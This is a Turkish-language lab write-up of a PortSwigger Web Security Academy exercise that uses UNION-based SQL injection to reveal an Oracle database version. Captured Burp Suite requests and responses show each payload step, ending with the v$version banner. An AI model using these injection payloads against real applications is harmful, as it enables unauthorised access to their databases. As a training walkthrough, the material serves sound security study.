

Injection

Lab:PortSwigger

Senaryo:SQL injection saldırısı, Oracle'da veritabanı türü ve sürümünü sorgulama

Çözüm Adımları:

Öncelikle Burp Suite aracılığıyla web sitesindeki istek ve yanıtları inceleyerek SQL injection zafiyetini fark ettim.

Order by kullanarak sitede kaç sütun olduğunu inceledim.(order by 2- - and 1=1- -)

Request

Pretty

Raw

Hex

1

GET /filter?category=Gifts' order by 2-- and 1=1-- HTTP/2

2 Host: 0a1300e004ddb2ce8140438800800056.web-security-academy.net

3 Cookie: session=Pht95KqAERVqpSQ9LjuQhoknCUzejL2p

4 Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"

5 Sec-Ch-Ua-Mobile: ?0

6 Sec-Ch-Ua-Platform: "Windows"

7 Upgrade-Insecure-Requests: 1

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

9 Accept:

10 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

11 Sec-Fetch-Site: same-origin

12 Sec-Fetch-Mode: navigate

13 Sec-Fetch-User: ?1

14 Sec-Fetch-Dest: document

15 Referer: https://0a1300e004ddb2ce8140438800800056.web-security-academy.net/

16 Accept-Encoding: gzip, deflate, br

17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

18 Priority: u=0, i

19

Response

Pretty

Raw

Hex

Render

52

Cover both you and your partner and make the rest of us look on in envy and disgust with the Couple's Umbrella.

53

</td>

54

</tr>

55

<tr>

56

High-End Gift Wrapping

57

</th>

58

</td>

59

We offer a completely unique gift wrapping experience - the gift that just keeps on giving. We can crochet any shape and size to order. We also collect worldwide, we do the hard work so you don't have to.

60

The gift is no longer the only surprise. Your friends and family will be delighted at our bespoke wrapping, each item 100% original, something that will be talked about for many years to come.

61

Due to the intricacy of this service, you must allow 3 months for your order to be completed. So, organization is paramount, no leaving shopping until the last minute if you want to take advantage of this fabulously wonderful new way to present your gifts.

62

Get in touch, tell us what you need to be wrapped, and we can give you an estimate within 24 hours. Let your funky originality extend to all areas of your life. We love every project we work on, so don't delay, give us a call today.

63

</td>

64

</tr>

65

</tbody>

66

</table>

67

</div>

68

</section>

69

<div class="footer-wrapper">

70

</div>

71

</div>

72

</body>

73

</html>

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /filter?category=Gifts' UNION SELECT null,null from dual-- and 1=1-- HTTP/2 2 Host: 0a1300e004ddb2ce8140438800800056.web-security-academy.net 3 Cookie: session=Pht95KqARRVqp8Q9LjuQhokmCUzejL2p 4 Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" 5 Sec-Ch-Ua-Mobile: ?0 6 Sec-Ch-Ua-Platform: "Windows" 7 Upgrade-Insecure-Requests: 1 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 10 Sec-Fetch-Site: same-origin 11 Sec-Fetch-Mode: navigate 12 Sec-Fetch-User: ?1 13 Sec-Fetch-Dest: document 14 Referer: https://0a1300e004ddb2ce8140438800800056.web-security-academy.net/ 15 Accept-Encoding: gzip, deflate, br 16 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 17 Priority: u=0, i 18 19</pre>				<pre> Snow Delivered To Your Door </th> <td> By Steam Train Direct From The North Pole We can deliver you the perfect Christmas gift of all. Imagine waking up to that white Christmas you have been dreaming of since you were a child. Your snow will be loaded on to our exclusive snow train and transported across the globe in time for the big day. In a few simple steps, your snow will be ready to scatter in the areas of your choosing. *Make sure you have an extra large freezer before delivery. *Decant the liquid into small plastic tubs (there is some loss of molecular structure during transit). *Allow 3 days for it to refreeze.*Chip away at each block until the ice resembles snowflakes. *Scatter snow. Yes! It really is that easy. You will be the envy of all your neighbors unless you let them in on the secret. We offer a 10% discount on future purchases for every referral we receive from you. Snow isn't just for Christmas either, we deliver all year round, that's 365 days of the year. Remember to order before your existing snow melts, and allow 3 days to prepare the new batch to avoid disappointment. </td> </tr> <tr> </tr> </tbody> </table> </div> </section> <div class="footer-wrapper"> </div> </div> </body> </html></pre>			

UNION SELECT ifadesi, veri tabanından ek veri çekmek veya sorgunun yapısını öğrenerek daha fazla veri elde etmek amacıyla kullandım.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /filter?category=Gifts' UNION SELECT 'abc','abc' from dual-- and 1=1-- HTTP/2 2 Host: 0a1300e004ddb2ce8140438800800056.web-security-academy.net 3 Cookie: session=Pht95KqARRVqp8Q9LjuQhokmCUzejL2p 4 Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" 5 Sec-Ch-Ua-Mobile: ?0 6 Sec-Ch-Ua-Platform: "Windows" 7 Upgrade-Insecure-Requests: 1 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 10 Sec-Fetch-Site: same-origin 11 Sec-Fetch-Mode: navigate 12 Sec-Fetch-User: ?1 13 Sec-Fetch-Dest: document 14 Referer: https://0a1300e004ddb2ce8140438800800056.web-security-academy.net/ 15 Accept-Encoding: gzip, deflate, br 16 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 17 Priority: u=0, i 18 19</pre>				<pre> child. Your snow will be loaded on to our exclusive snow train and transported across the globe in time for the big day. In a few simple steps, your snow will be ready to scatter in the areas of your choosing. *Make sure you have an extra large freezer before delivery. *Decant the liquid into small plastic tubs (there is some loss of molecular structure during transit). *Allow 3 days for it to refreeze.*Chip away at each block until the ice resembles snowflakes. *Scatter snow. Yes! It really is that easy. You will be the envy of all your neighbors unless you let them in on the secret. We offer a 10% discount on future purchases for every referral we receive from you. Snow isn't just for Christmas either, we deliver all year round, that's 365 days of the year. Remember to order before your existing snow melts, and allow 3 days to prepare the new batch to avoid disappointment. </td> </tr> <tr> <th> abc </th> <td> abc </td> </tr> </tbody> </table> </div> </section> <div class="footer-wrapper"> </div> </div> </body> </html></pre>			

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1 GET /filter?category=Gifts' UNION SELECT 'abc',12 from dual-- and 1=1-- HTTP/2				27 </polygon>			
2 Host: 0a1300e004ddb2ce8140438800800056.web-security-academy.net				28 <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'>			
3 Cookie: session=Pht55KqAERVqpS95LjuQhoknCUsejL2p				29 </polygon>			
4 Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"				30 </g>			
5 Sec-Ch-Ua-Mobile: 70				31 			
6 Sec-Ch-Ua-Platform: "Windows"				32 </div>			
7 Upgrade-Insecure-Requests: 1				33 <div class='widgetcontainer-lab-status is-notsolved'>			
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36				34 			
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7				35 LAB			
10 Sec-Fetch-Site: same-origin				36 			
11 Sec-Fetch-Mode: navigate				37 <p>			
12 Sec-Fetch-User: 71				38 Not solved			
13 Sec-Fetch-Dest: document				39 </p>			
14 Referer: https://0a1300e004ddb2ce8140438800800056.web-security-academy.net/				40 			
15 Accept-Encoding: gzip, deflate, br				41 			
16 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7				42 </div>			
17 Priority: u=0, i				43 </div>			
18				44 </section>			
19				45 </div>			
				46 <div theme="">			
				47 <section class="maincontainer">			
				48 <div class="container is-page">			
				49 <header class="navigation-header">			
				50 </header>			
				51 <h4>			
				52 Internal Server Error			
				53 </h4>			
				54 <p class=is-warning>			
				55 Internal Server Error			
				56 </p>			
				57 </div>			
				58 </section>			
				59 </div>			
				60 </body>			
				61 </html>			
				62			

İki sütununda string veri tipinde olduğunu gördüm.

Lab da bizden oracle versiyonu istiyor.

Oracle

```
SELECT banner FROM v$version
SELECT version FROM v$instance
```

Bu yapıları kullanarak versiyonu bulacağız.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1 GET /filter?category=Gifts' UNION SELECT banner,'abc' from v\$version-- and 1=1-- HTTP/2							
2 Host: 0a1300e004ddb2ce8140438800800056.web-security-academy.net							
3 Cookie: session=Pht55KqAERVqpS95LjuQhoknCUsejL2p							
4 Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"							
5 Sec-Ch-Ua-Mobile: 70				52 </td>			
6 Sec-Ch-Ua-Platform: "Windows"				53 </tr>			
7 Upgrade-Insecure-Requests: 1				54 <th>			
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36				55 </th> NLSETL Version 11.2.0.2.0 - Production			
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7				56 <td>			
10 Sec-Fetch-Site: same-origin				57 </td>			
11 Sec-Fetch-Mode: navigate				58 </tr>			
12 Sec-Fetch-User: 71				59 <th>			
13 Sec-Fetch-Dest: document				60 Oracle Database 11g Express Edition Release 11.2.0.2.0 -			
14 Referer: https://0a1300e004ddb2ce8140438800800056.web-security-academy.net/				61 64bit Production			
15 Accept-Encoding: gzip, deflate, br				62 </th>			
16 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7				63 <td>			
17 Priority: u=0, i				64 abc			
18				65 </td>			
19							

Oracle versiyonu bulmuş olduk. Labı da çözmüş olduk .